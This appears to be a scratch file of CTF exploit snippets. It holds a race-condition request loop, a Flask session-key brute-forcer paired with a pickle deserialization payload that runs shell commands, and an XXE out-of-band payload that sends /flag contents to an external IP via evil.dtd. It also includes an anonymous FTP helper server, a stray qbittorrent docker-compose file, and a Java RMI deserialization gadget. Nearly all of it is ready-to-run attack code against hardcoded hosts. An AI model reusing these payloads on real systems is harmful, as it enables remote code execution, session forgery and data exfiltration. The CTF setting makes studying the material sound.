import time
import requests
targets = list(range(1, 6))
while(targets):
    for target in targets:
        result = requests.post('http://47.100.245.185:30684/api/courses',json={'id':target})
        print(result.text)
        time.sleep(0.1)
        if('"full":0' in result.text):
            targets.remove(target)

`nl /f*/f*`

import os, zlib
from itsdangerous import base64_decode
from flask.sessions import SecureCookieSessionInterface
import requests
import pickle
import base64
from datetime import datetime, timedelta
from pytz import timezone

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    def encode(secret_key, session_cookie_structure):
        try:
            app = MockApp(secret_key)
            # session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)
            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
    
    def decode(session_cookie_value, secret_key=None):
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
        
        
def get_admin_auth(key):
    val = {
        "username": "admin"
    }
    admin_cookie = FSCM.encode(key, val)
    return admin_cookie


class genpoc(object):
    def __reduce__(self):
        cmd = 'cat /flag'  # 要执行的命令
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))  # reduce函数必须返回元组或字符串


if __name__ == "__main__":
    url = 'http://106.14.57.14:32502'
    value = requests.get(url).cookies['session']
    currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
    # 初始化时间为 00:00:00
    time = datetime(currentDateAndTime.year, currentDateAndTime.month, currentDateAndTime.day, 0, 0, 0)
    key = time.strftime("%H%M%S")
    while res := FSCM.decode(value, key):
        if '[Decoding error]' not in res:
            print(res, key)
            cookie = get_admin_auth(key)
            break
        time += timedelta(seconds=1)
        key = time.strftime("%H%M%S")
        print(key)
    poc = pickle.dumps(genpoc())
    payload = base64.b64encode(poc)
    print(requests.post(url+'/flag',cookies={"session":cookie},data={"pickle_data":payload}).text)

<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://124.221.19.214:3232/evil.dtd">
%dtd;
%send;
]>

<!ENTITY % payload
"<!ENTITY &#37; send SYSTEM 'http://124.221.19.214:2333/?data=%file;'>"
>
%payload;

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("/var/www/html", perm="r")
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()

version: "2.1"
services:
  qbittorrent:
    image: lscr.io/linuxserver/qbittorrent:4.5.5
    container_name: qbittorrent
    environment:
      - PUID=1000
      - PGID=1000
      - TZ=Etc/UTC
      - WEBUI_PORT=8080
    volumes:
      - ./path/to/appdata/config:/config
      - ./path/to/downloads:/downloads
    ports:
      - 8080:8080
      - 6881:6881
      - 6881:6881/udp
    restart: unless-stopped

    public static void main(String[] args) throws Exception{
        ObjID id = new ObjID(); // RMI registry
        TCPEndpoint te = new TCPEndpoint("2887476089", 1099);
        LiveRef liveRef = new LiveRef(id, te, false);
        UnicastRef ref = new UnicastRef(liveRef);
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        byte[] byteArray = barr.toByteArray();
        String res = Base64.getEncoder().encodeToString(byteArray);
        System.out.println(res);
        System.out.println("length: " + res.length());
        new ObjectInputStream(new ByteArrayInputStream(byteArray)).readObject();
    }